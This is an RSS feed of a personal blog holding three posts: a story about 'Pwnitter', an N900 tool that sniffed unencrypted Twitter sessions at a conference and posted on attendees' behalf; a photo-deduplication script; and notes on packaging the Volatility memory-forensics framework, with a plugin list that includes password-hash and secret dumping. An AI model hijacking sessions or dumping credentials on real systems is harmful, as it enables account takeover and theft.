<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule">

<channel>
	<title>muellis blog &#187; python</title>
	<atom:link href="http://blogs.gnome.org/muelli/tag/python/feed/" rel="self" type="application/rss+xml" />
	<link>http://blogs.gnome.org/muelli</link>
	<description>…und alle so “Yeaahh!”</description>
	<lastBuildDate>Sun, 22 Jan 2012 16:00:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<creativeCommons:license>http://creativecommons.org/licenses/by-sa/3.0/</creativeCommons:license>		<item>
		<title>Pwnitter</title>
		<link>http://blogs.gnome.org/muelli/2011/09/pwnitter/</link>
		<comments>http://blogs.gnome.org/muelli/2011/09/pwnitter/#comments</comments>
		<pubDate>Sat, 10 Sep 2011 02:43:35 +0000</pubDate>
		<dc:creator>muelli</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[lang:en]]></category>
		<category><![CDATA[maemo]]></category>
		<category><![CDATA[n900]]></category>
		<category><![CDATA[pwnitter]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[scratchbox]]></category>

		<guid isPermaLink="false">http://blogs.gnome.org/muelli/?p=1523</guid>
		<description><![CDATA[Uh, I totally forgot to blog about a funny thing that happened almost a year ago which I just mentioned slightly *blush*. So you probably know this Internet thing and if you&#8217;re one of the chosen and carefully gifted ones, you confused it with the Web. And if you&#8217;re very special you do this Twitter [...]]]></description>
			<content:encoded><![CDATA[<p>Uh, I totally forgot to blog about a funny thing that happened almost a year ago which I <a href="http://blogs.gnome.org/muelli/2011/01/foss-in-last-edition-2010/">just mentioned slightly</a> *blush*. So you probably know this Internet thing and if you&#8217;re one of the chosen and carefully gifted ones, you confused it with the Web. And if you&#8217;re very special you do this Twitter thing and expose yourself and your communications pattern to some dodgy American company. By now, all of the following stuff isn&#8217;t of much interest anymore, so you might as well quit reading.</p>
<p>It all happenend while being at <a href="http://blogs.gnome.org/muelli/2011/01/foss-in-last-edition-2010/">FOSS.in</a>.  There was a contest run by Nokia which asked us to write some cool application for the N900. So I did. I packaged loads of <a href="http://maemo.org/packages/view/iw/">programs</a> <a href="http://maemo.org/packages/view/python-dpkt/">and</a> <a href="http://maemo.org/packages/view/python-pypcap/">libraries</a> to be able to put the wireless card into monitor mode. Then I wiretapped (haha) the wireless and sniffed for Twitter traffic. Once there was a Twitter session going on, I sniffed the necessary authentication information was extracted and a message was posted on the poor user&#8217;s behalf. I coined that <a href="http://maemo.org/packages/view/pwnitter/">Pwnitter</a>, because it would pwn you via Twitter.</p>
<p><a href="http://twitter.com/bluesmoon/statuses/14946909873504256">That</a> <a href="http://twitter.com/glezos/status/15394165621792769">said</a>, <a href="http://twitter.com/#!/glezos/status/15394165621792769">we</a> <a href="http://twitter.com/hpnadig/statuses/14953298515730432">had</a> <a href="http://twitter.com/SrishAkaTux/status/14955372364173312">great</a> <a href="http://twitter.com/anurag_maher/status/15287490470486016">fun</a> <a href="http://twitter.com/ApurvaTripathi/status/15789274167255040">at</a> <a href="http://twitter.com/Naresh_Kamboju/status/15690943256596480">FOSS.in</a>, <a href="http://twitter.com/Naresh_Kamboju/status/15690943256596480">where</a> <a href="http://twitter.com/anurag1008/status/15661313384521728">nearly</a> <a href="http://twitter.com/mayuraparge/status/15644020906659840">everybodies</a> <a href="http://twitter.com/brainwane/status/15395102801268736">Twitter</a> <a href="http://twitter.com/brainwane/status/15395102801268736">sessions</a> <a href="http://twitter.com/shreyankg/status/14961155600547840">got</a> <a href="http://twitter.com/grbharathram/status/14960648131710976">hijacked</a> <a href="http://twitter.com/arun197/status/14959625166127104"> <img src='http://blogs.gnome.org/muelli/wp-content/mu-plugins/tango-smilies/tango/face-wink.png' alt=';-)' class='wp-smiley' /> </a> <a href="http://twitter.com/bsingharora/status/14955026120187904">Eventually</a>, <a href="http://twitter.com/tuxmaniac/status/14954538637197312">people</a> <a href="http://twitter.com/ankrd/status/14951863380086784">stopped</a> <a href="http://twitter.com/hpnadig/status/14953298515730432">using</a> <a href="http://twitter.com/kraghu306/status/15780519056769026">plain</a> HTTP and moved to end to end encrypted sessions via TLS.</p>
<p>Anyway, my program didn&#8217;t win anything because as it turned out, Nokia wanted to promote <a href="http://en.wikipedia.org/wiki/QML">QML</a> and hence we were supposed to write something that makes use of that. My program barely has a UI&#8230; It is made up of one giant button&#8230;</p>
<p>Despite not getting lucky with Nokia, the community apparently received the thing <a href="http://www.knownokia.ca/2011/01/session-hijacking-from-your-n900.html">very</a> <a href="http://talk.maemo.org/showthread.php?t=68044">well</a>.</p>
<p>So there is an obvious big elephant standing in the room asking why would you want to &#8220;hack&#8221; Twitter. I&#8217;d say it&#8217;s rather easy to answer. The main point being that you should use end to end encryption when doing communication. And the punchline comes now: Don&#8217;t use a service that doesn&#8217;t offer you that by default. Technically, it wouldn&#8217;t be much of a problem to give you an encrypted link to send your messages. However, companies tend to be cheap and let you suffer with a plain text connection which can be easily tapped or worse: manipulated. Think about it. If the company is too frugal to protect your communication from pimpled 13yr olds with a wifi card, why would you want to use their services?</p>
<p>By now Twitter (actually since March 2011, making it more than 6 month ago AFAIK) have SSL enabled by default as far as I can tell. So let&#8217;s not slash Twitter for not offering an encrypted link for more than 5 years (since they were founded back in 2006). But there are loads of other services that suffer from the very same basic problem. Including Facebook. And it would be easy to adapt the existing solution stuff like Facebook, flickr, whatnot.</p>
<p>A noteable exception is Google though. As far as I can see, they offer encryption by default except for the search. If there is an unencrypted link, I invite you to <a href="http://maemo.org/packages/source/view/fremantle_extras-devel_free_source/pwnitter/0.0.3-4/">grab the sources of Pwnitter</a> and build your hack.</p>
<p>If you do so, let me give you an advise as  I was going nuts over a weird problem with my <a href="http://pwnitter.garage.maemo.org/">Pwnitter</a> application for Maemo. It&#8217;s written in Python and when building the package with setuptools the hashbang would automatically be changed to &#8220;<code>#!/scratchbox/tools/bin/python</code>&#8220;, instead of, say, &#8220;<code>/usr/bin/python</code>&#8220;.</p>
<p>I tried tons of things for many hours <a href="http://lists.scratchbox.org/pipermail/scratchbox-users/2005-May/000248.html">until I realised</a>, that <a href="http://bugzilla.scratchbox.org/show_bug.cgi?id=236">scratchbox redirects some binary paths</a>.</p>
<p>However, that did not help me to fix the issue. As it turned out, my problem was that I didn&#8217;t depend on a <a href="http://maemo.org/packages/view/python-runtime/">python-runtime</a> during build time. Hence the build server picked scratchbox&#8217;s python which was located in <code>/scratchbox/bin</code>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.gnome.org/muelli/2011/09/pwnitter/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Sifting through a lot of similar photos</title>
		<link>http://blogs.gnome.org/muelli/2011/03/sifting-through-a-lot-of-similar-photos/</link>
		<comments>http://blogs.gnome.org/muelli/2011/03/sifting-through-a-lot-of-similar-photos/#comments</comments>
		<pubDate>Fri, 11 Mar 2011 18:04:39 +0000</pubDate>
		<dc:creator>muelli</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[lang:en]]></category>
		<category><![CDATA[image]]></category>
		<category><![CDATA[photo]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://blogs.gnome.org/muelli/?p=1540</guid>
		<description><![CDATA[To keep the amount of photos in my photo library sane, I had to sift through many pictures and get rid of redundant ones. I defined redundancy as many pictures taken at the same time. Thus I had to pick one of the redundant pictures and delete the other ones. My strategy so far was [...]]]></description>
			<content:encoded><![CDATA[<p>To keep the amount of photos in my photo library sane, I had to sift through many pictures and get rid of redundant ones. I defined redundancy as many pictures taken at the same time. Thus I had to pick one of the redundant pictures and delete the other ones.</p>
<p>My strategy so far was to use Nautilus and Eye of GNOME to spot pictures of the same group and delete all but the best one.</p>
<p>I realised that photos usually show the same picture if they were shot at the same time, i.e. many quick shots after another. I also realised that usually the best photograph was the biggest one in terms on bytes in JPEG format.</p>
<p>To automate the whole selection and deletion process, I hacked together a tiny script that stupidly groups files in a directory according to their mtime and deletes all but the biggest one.</p>
<p>Before deletion, it will show the pictures with <code>eog</code> and ask whether or not to delete the other pictures.</p>
<p>It worked quite well and helped to quickly weed out 15% of my pictures <img src='http://blogs.gnome.org/muelli/wp-content/mu-plugins/tango-smilies/tango/face-smile.png' alt=':-)' class='wp-smiley' /> </p>
<p>I played around with another method: Getting the difference of the histograms of the images, to compare the similarity. But as the pictures were shot with a different exposure, the histograms were quite different, too. Hence that didn&#8217;t work out very well. But I&#8217;ll leave it in, just for reference.</p>
<p>So if you happen to have a similar problem, feel free to grab the following script <img src='http://blogs.gnome.org/muelli/wp-content/mu-plugins/tango-smilies/tango/face-smile.png' alt=':-)' class='wp-smiley' /> </p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">collections</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">math</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">os</span>
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">os</span>.<span style="color: black;">path</span> <span style="color: #ff7700;font-weight:bold;">import</span> join, getsize, getmtime
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">operator</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">subprocess</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span>
&nbsp;
&nbsp;
&nbsp;
&nbsp;
<span style="color: #dc143c;">subprocess</span>.<span style="color: black;">Popen</span>.__enter__ = <span style="color: #ff7700;font-weight:bold;">lambda</span> <span style="color: #008000;">self</span>: <span style="color: #008000;">self</span>
<span style="color: #dc143c;">subprocess</span>.<span style="color: black;">Popen</span>.__exit__ = <span style="color: #ff7700;font-weight:bold;">lambda</span> <span style="color: #008000;">self</span>, <span style="color: #008000;">type</span>, value, <span style="color: #dc143c;">traceback</span>: <span style="color: #008000;">self</span>.<span style="color: black;">kill</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
directory = <span style="color: #483d8b;">'.'</span>
THRESHOLD = <span style="color: #ff4500;">3</span>
GET_RMS = <span style="color: #008000;">False</span>
&nbsp;
mtimes = <span style="color: #dc143c;">collections</span>.<span style="color: black;">defaultdict</span><span style="color: black;">&#40;</span><span style="color: #008000;">list</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> get_picgroups_by_time<span style="color: black;">&#40;</span>directory=<span style="color: #483d8b;">'.'</span><span style="color: black;">&#41;</span>:
&nbsp;
	<span style="color: #ff7700;font-weight:bold;">for</span> root, dirs, files <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #dc143c;">os</span>.<span style="color: black;">walk</span><span style="color: black;">&#40;</span>directory<span style="color: black;">&#41;</span>:
		<span style="color: #ff7700;font-weight:bold;">for</span> name <span style="color: #ff7700;font-weight:bold;">in</span> files:
			fname = join<span style="color: black;">&#40;</span>root, name<span style="color: black;">&#41;</span>
			mtime = getmtime<span style="color: black;">&#40;</span>fname<span style="color: black;">&#41;</span>
			mtimes<span style="color: black;">&#91;</span>mtime<span style="color: black;">&#93;</span>.<span style="color: black;">append</span><span style="color: black;">&#40;</span>fname<span style="color: black;">&#41;</span>
&nbsp;
	<span style="color: #808080; font-style: italic;"># It's gotten a bit messy, but a OrderedDict is available in Python 3.1 hence this is the manually created ordered list.</span>
	picgroups = <span style="color: black;">&#91;</span>v <span style="color: #ff7700;font-weight:bold;">for</span> <span style="color: black;">&#40;</span>k, v<span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">sorted</span><span style="color: black;">&#40;</span><span style="color: black;">&#91;</span><span style="color: black;">&#40;</span>k, v<span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">for</span> k, v <span style="color: #ff7700;font-weight:bold;">in</span> mtimes.<span style="color: black;">iteritems</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>v<span style="color: black;">&#41;</span> <span style="color: #66cc66;">&gt;</span>= THRESHOLD<span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><span style="color: black;">&#93;</span>
&nbsp;
	<span style="color: #ff7700;font-weight:bold;">return</span> picgroups
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> get_picgroups<span style="color: black;">&#40;</span>directory=<span style="color: #483d8b;">'.'</span><span style="color: black;">&#41;</span>:
	<span style="color: #ff7700;font-weight:bold;">return</span> get_picgroups_by_time<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
picgroups = get_picgroups<span style="color: black;">&#40;</span>directory<span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Got %d groups'</span> <span style="color: #66cc66;">%</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>picgroups<span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> get_max_and_picgroups<span style="color: black;">&#40;</span>picgroups<span style="color: black;">&#41;</span>:
	<span style="color: #ff7700;font-weight:bold;">for</span> picgroup <span style="color: #ff7700;font-weight:bold;">in</span> picgroups:
		max_of_group = <span style="color: #008000;">max</span><span style="color: black;">&#40;</span>picgroup, key=<span style="color: #ff7700;font-weight:bold;">lambda</span> x: getsize<span style="color: black;">&#40;</span>x<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">print</span> picgroup
		<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'max: %s: %d'</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>max_of_group, getsize<span style="color: black;">&#40;</span>max_of_group<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
&nbsp;
		<span style="color: #ff7700;font-weight:bold;">if</span> GET_RMS:
			<span style="color: #ff7700;font-weight:bold;">import</span> PIL.<span style="color: black;">Image</span>
			last_pic = picgroup<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>
			<span style="color: #ff7700;font-weight:bold;">for</span> pic <span style="color: #ff7700;font-weight:bold;">in</span> picgroup<span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span>:<span style="color: black;">&#93;</span>:
				image1 = PIL.<span style="color: black;">Image</span>.<span style="color: #008000;">open</span><span style="color: black;">&#40;</span>last_pic<span style="color: black;">&#41;</span>.<span style="color: black;">histogram</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
				image2 = PIL.<span style="color: black;">Image</span>.<span style="color: #008000;">open</span><span style="color: black;">&#40;</span>pic<span style="color: black;">&#41;</span>.<span style="color: black;">histogram</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
				rms = <span style="color: #dc143c;">math</span>.<span style="color: black;">sqrt</span><span style="color: black;">&#40;</span><span style="color: #008000;">reduce</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">operator</span>.<span style="color: black;">add</span>, <span style="color: #008000;">map</span><span style="color: black;">&#40;</span><span style="color: #ff7700;font-weight:bold;">lambda</span> a,b: <span style="color: black;">&#40;</span>a-b<span style="color: black;">&#41;</span><span style="color: #66cc66;">**</span><span style="color: #ff4500;">2</span>, image1, image2<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>/<span style="color: #008000;">len</span><span style="color: black;">&#40;</span>image1<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
&nbsp;
				<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'RMS %s %s: %s'</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>last_pic, pic, rms<span style="color: black;">&#41;</span>
&nbsp;
			last_pic = pic
		<span style="color: #ff7700;font-weight:bold;">yield</span> <span style="color: black;">&#40;</span>max_of_group, picgroup<span style="color: black;">&#41;</span>
&nbsp;
&nbsp;
max_and_picgroups = get_max_and_picgroups<span style="color: black;">&#40;</span>picgroups<span style="color: black;">&#41;</span>
&nbsp;
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> decide<span style="color: black;">&#40;</span>prompt, decisions<span style="color: black;">&#41;</span>:
	<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">termios</span>, <span style="color: #dc143c;">fcntl</span>, <span style="color: #dc143c;">sys</span>, <span style="color: #dc143c;">os</span>, <span style="color: #dc143c;">select</span>
&nbsp;
	fd = <span style="color: #dc143c;">sys</span>.<span style="color: black;">stdin</span>.<span style="color: black;">fileno</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
	oldterm = <span style="color: #dc143c;">termios</span>.<span style="color: black;">tcgetattr</span><span style="color: black;">&#40;</span>fd<span style="color: black;">&#41;</span>
	newattr = oldterm<span style="color: black;">&#91;</span>:<span style="color: black;">&#93;</span>
	newattr<span style="color: black;">&#91;</span><span style="color: #ff4500;">3</span><span style="color: black;">&#93;</span> = newattr<span style="color: black;">&#91;</span><span style="color: #ff4500;">3</span><span style="color: black;">&#93;</span> <span style="color: #66cc66;">&amp;</span> ~<span style="color: #dc143c;">termios</span>.<span style="color: black;">ICANON</span> <span style="color: #66cc66;">&amp;</span> ~<span style="color: #dc143c;">termios</span>.<span style="color: black;">ECHO</span>
	<span style="color: #dc143c;">termios</span>.<span style="color: black;">tcsetattr</span><span style="color: black;">&#40;</span>fd, <span style="color: #dc143c;">termios</span>.<span style="color: black;">TCSANOW</span>, newattr<span style="color: black;">&#41;</span>
&nbsp;
	oldflags = <span style="color: #dc143c;">fcntl</span>.<span style="color: #dc143c;">fcntl</span><span style="color: black;">&#40;</span>fd, <span style="color: #dc143c;">fcntl</span>.<span style="color: black;">F_GETFL</span><span style="color: black;">&#41;</span>
	<span style="color: #dc143c;">fcntl</span>.<span style="color: #dc143c;">fcntl</span><span style="color: black;">&#40;</span>fd, <span style="color: #dc143c;">fcntl</span>.<span style="color: black;">F_SETFL</span>, oldflags | <span style="color: #dc143c;">os</span>.<span style="color: black;">O_NONBLOCK</span><span style="color: black;">&#41;</span>
&nbsp;
	<span style="color: #ff7700;font-weight:bold;">print</span> prompt
&nbsp;
	decided = <span style="color: #008000;">None</span>
	<span style="color: #ff7700;font-weight:bold;">try</span>:
		<span style="color: #ff7700;font-weight:bold;">while</span> <span style="color: #ff7700;font-weight:bold;">not</span> decided:
			r, w, e = <span style="color: #dc143c;">select</span>.<span style="color: #dc143c;">select</span><span style="color: black;">&#40;</span><span style="color: black;">&#91;</span>fd<span style="color: black;">&#93;</span>, <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span>, <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
			<span style="color: #ff7700;font-weight:bold;">if</span> r:
				c = <span style="color: #dc143c;">sys</span>.<span style="color: black;">stdin</span>.<span style="color: black;">read</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>
				<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Got character&quot;</span>, <span style="color: #dc143c;">repr</span><span style="color: black;">&#40;</span>c<span style="color: black;">&#41;</span>
				decision_made = decisions.<span style="color: black;">get</span><span style="color: black;">&#40;</span>c, <span style="color: #008000;">None</span><span style="color: black;">&#41;</span>
				<span style="color: #ff7700;font-weight:bold;">if</span> decision_made:
					decision_made<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
					decided = <span style="color: #008000;">True</span>
&nbsp;
	<span style="color: #ff7700;font-weight:bold;">finally</span>:
	    <span style="color: #dc143c;">termios</span>.<span style="color: black;">tcsetattr</span><span style="color: black;">&#40;</span>fd, <span style="color: #dc143c;">termios</span>.<span style="color: black;">TCSAFLUSH</span>, oldterm<span style="color: black;">&#41;</span>
	    <span style="color: #dc143c;">fcntl</span>.<span style="color: #dc143c;">fcntl</span><span style="color: black;">&#40;</span>fd, <span style="color: #dc143c;">fcntl</span>.<span style="color: black;">F_SETFL</span>, oldflags<span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">for</span> max_of_group, picgroup <span style="color: #ff7700;font-weight:bold;">in</span> max_and_picgroups:
	<span style="color: #dc143c;">cmd</span> = <span style="color: black;">&#91;</span><span style="color: #483d8b;">'eog'</span>, <span style="color: #483d8b;">'-n'</span><span style="color: black;">&#93;</span> + picgroup
	<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Showing %s'</span> <span style="color: #66cc66;">%</span> <span style="color: #483d8b;">', '</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span>picgroup<span style="color: black;">&#41;</span>
&nbsp;
	<span style="color: #ff7700;font-weight:bold;">def</span> delete_others<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
		to_delete = picgroup<span style="color: black;">&#91;</span>:<span style="color: black;">&#93;</span>
		to_delete.<span style="color: black;">remove</span><span style="color: black;">&#40;</span>max_of_group<span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'deleting %s'</span> <span style="color: #66cc66;">%</span> <span style="color: #483d8b;">', '</span>.<span style="color: black;">join</span> <span style="color: black;">&#40;</span>to_delete<span style="color: black;">&#41;</span>
		<span style="color: black;">&#91;</span><span style="color: #dc143c;">os</span>.<span style="color: black;">unlink</span><span style="color: black;">&#40;</span>f<span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">for</span> f <span style="color: #ff7700;font-weight:bold;">in</span> to_delete<span style="color: black;">&#93;</span>
&nbsp;
	<span style="color: #ff7700;font-weight:bold;">with</span> <span style="color: #dc143c;">subprocess</span>.<span style="color: black;">Popen</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">cmd</span><span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">as</span> p:
		decide<span style="color: black;">&#40;</span><span style="color: #483d8b;">'%s is max, delete others?'</span> <span style="color: #66cc66;">%</span> max_of_group, <span style="color: black;">&#123;</span><span style="color: #483d8b;">'y'</span>: delete_others, <span style="color: #483d8b;">'n'</span>: <span style="color: #ff7700;font-weight:bold;">lambda</span>: <span style="color: #483d8b;">''</span><span style="color: black;">&#125;</span><span style="color: black;">&#41;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://blogs.gnome.org/muelli/2011/03/sifting-through-a-lot-of-similar-photos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Volatility Memory Forensics Framework for Ubuntu</title>
		<link>http://blogs.gnome.org/muelli/2010/04/volatility-memory-forensics-framework-for-ubuntu/</link>
		<comments>http://blogs.gnome.org/muelli/2010/04/volatility-memory-forensics-framework-for-ubuntu/#comments</comments>
		<pubDate>Wed, 14 Apr 2010 14:01:21 +0000</pubDate>
		<dc:creator>muelli</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[lang:en]]></category>
		<category><![CDATA[analysis]]></category>
		<category><![CDATA[ca643]]></category>
		<category><![CDATA[forensic]]></category>
		<category><![CDATA[memory]]></category>
		<category><![CDATA[packaging]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[volatility]]></category>

		<guid isPermaLink="false">http://blogs.gnome.org/muelli/?p=1039</guid>
		<description><![CDATA[After having obtained a memory image using FireWire (or other methods), I eventually wanted to actually examine what was going on as the image was taken. Installing Volatility Volatility is a framework that helps ripping interesting information out of a Windows XP memory dump. Although &#8220;strings&#8221; and &#8220;dd&#8221; are good tools, analysing 1GB of binary [...]]]></description>
			<content:encoded><![CDATA[<p>After having obtained a memory image using <a href="http://blogs.gnome.org/muelli/2010/04/04/reading-ram-using-firewire/">FireWire</a> (<a href="http://blogs.gnome.org/muelli/2010/04/09/imaging-ram-using-windd-devfmem-or-qemu/">or other methods</a>), I eventually wanted to actually examine what was going on as the image was taken.</p>
<h3>Installing Volatility</h3>
<p><a href="https://www.volatilesystems.com/default/volatility">Volatility</a> is a framework that helps ripping interesting information out of a Windows XP memory dump. Although &#8220;strings&#8221; and &#8220;dd&#8221; are good tools, analysing 1GB of binary crap is not really a fun thing to do. Volatility knows how to parse the memory and allows to do fancy stuff on the memory.</p>
<p>Installation of Volatility is a bit weird because it is obviously for Windows and they hardcode the path the a Windows Python interpreter. Also, their module system is a bit weird, but in fairness works at least alrightish. The application itself is funnily packaged. They don&#8217;t really make use of namespaces and depend on modules being locally available.</p>
<p>That made it painful produce a Debian/Ubuntu package, but I made it and you can find it in my <a href="https://launchpad.net/~ubuntu-bugs-auftrags-killer/+archive/muelli/+packages">PPA</a>. To install volatility through that PPA, you might want to do a:<br />
<code><br />
sudo add-apt-repository ppa:ubuntu-bugs-auftrags-killer/muelli &amp;&amp; sudo apt-get update &amp;&amp; sudo apt-get install volatility<br />
</code></p>
<p>I think I packaged <a href="http://www.forensicswiki.org/wiki/List_of_Volatility_Plugins">every</a> <a href="http://www.e5hforensics.com/memoryanalysis.com/volatility_plugins.htm">available</a> <a href="http://computer.forensikblog.de/files/volatility_plugins/">module</a> so that you don&#8217;t need to go through <a href="http://volatility.googlecode.com/files/install%20plugins.pdf">13 stupid^W very helpful but funny pages</a>. You can see the available commands via plugins here:</p>
<pre>muelli@xbox:/tmp$ volatility
/usr/lib/pymodules/python2.6/forensics/win32/crashdump.py:31: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import sha
*** Unable to load module kernel_hooks: No module named pefile
*** Unable to load module usermode_hooks2: No module named pefile
*** Unable to load module malfind2: No module named pydasm
*** Unable to load module kernel_hooks: No module named pefile
*** Unable to load module usermode_hooks2: No module named pefile
*** Unable to load module malfind2: No module named pydasm

	Volatile Systems Volatility Framework v1.3
	Copyright (C) 2007,2008 Volatile Systems
	Copyright (C) 2007 Komoku, Inc.
	This is free software; see the source for copying conditions.
	There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

	usage: volatility cmd [cmd_opts]

	Run command cmd with options cmd_opts
	For help on a specific command, run 'volatility cmd --help'

	Supported Internal Commands:
		connections    	Print list of open connections
		connscan       	Scan for connection objects
		connscan2      	Scan for connection objects (New)
		datetime       	Get date/time information for image
		dlllist        	Print list of loaded dlls for each process
		dmp2raw        	Convert a crash dump to a raw dump
		dmpchk         	Dump crash dump information
		files          	Print list of open files for each process
		hibinfo        	Convert hibernation file to linear raw image
		ident          	Identify image properties
		memdmp         	Dump the addressable memory for a process
		memmap         	Print the memory map
		modscan        	Scan for modules
		modscan2       	Scan for module objects (New)
		modules        	Print list of loaded modules
		procdump       	Dump a process to an executable sample
		pslist         	Print list of running processes
		psscan         	Scan for EPROCESS objects
		psscan2        	Scan for process objects (New)
		raw2dmp        	Convert a raw dump to a crash dump
		regobjkeys     	Print list of open regkeys for each process
		sockets        	Print list of open sockets
		sockscan       	Scan for socket objects
		sockscan2      	Scan for socket objects (New)
		strings        	Match physical offsets to virtual addresses (may take a while, VERY verbose)
		thrdscan       	Scan for ETHREAD objects
		thrdscan2      	Scan for thread objects (New)
		vaddump        	Dump the Vad sections to files
		vadinfo        	Dump the VAD info
		vadwalk        	Walk the vad tree

	Supported Plugin Commands:
		cachedump      	Dump (decrypted) domain hashes from the registry
		cryptoscan     	Find TrueCrypt passphrases
		driverirp      	Print driver IRP function addresses
		driverscan     	Scan for driver objects
		fileobjscan    	Scan for file objects
		getsids        	Print the SIDs owning each process
		hashdump       	Dump (decrypted) LM and NT hashes from the registry
		hivedump       	Dump registry hives to CSV
		hivelist       	Print list of registry hives
		hivescan       	Scan for _CMHIVE objects (registry hives)
		idt            	Print Interrupt Descriptor Table (IDT) entries
		intobjscan     	Scan for interrupt handler registrations
		keyboardbuffer 	Print BIOS keyboard buffer
		lsadump        	Dump (decrypted) LSA secrets from the registry
		memmap_ex_2    	Print the memory map
		moddump        	Dump loaded kernel modules to disk.
		mutantscan     	Scan for mutant (mutex) objects
		objtypescan    	Scan for object type objects
		orphan_threads 	Find kernel threads that don't map back to loaded modules
		printkey       	Print a registry key, and its subkeys and values
		pslist_ex_1    	Print list running processes
		pslist_ex_3    	Print list running processes
		pstree
		ssdt           	Display SSDT entries
		suspicious     	Find suspicious command lines and display them
		symlinkobjscan 	Scan for symbolic link objects
		thread_queues  	Print message queues for each thread
		usrdmp_ex_2    	Dump the address space for a process

	Example: volatility pslist -f /path/to/my/file
muelli@xbox:/tmp$
</pre>
<p>So yeah, some warnings are due to missing dependencies. But it&#8217;s all packaged with the exception of pydasm. So if you have enough time at your hands, please do that <img src='http://blogs.gnome.org/muelli/wp-content/mu-plugins/tango-smilies/tango/face-wink.png' alt=';-)' class='wp-smiley' /> </p>
<p>If you have another module that you want to have added or if anything doesn&#8217;t work, please give me a shout.</p>
<h3>Using Volatility</h3>
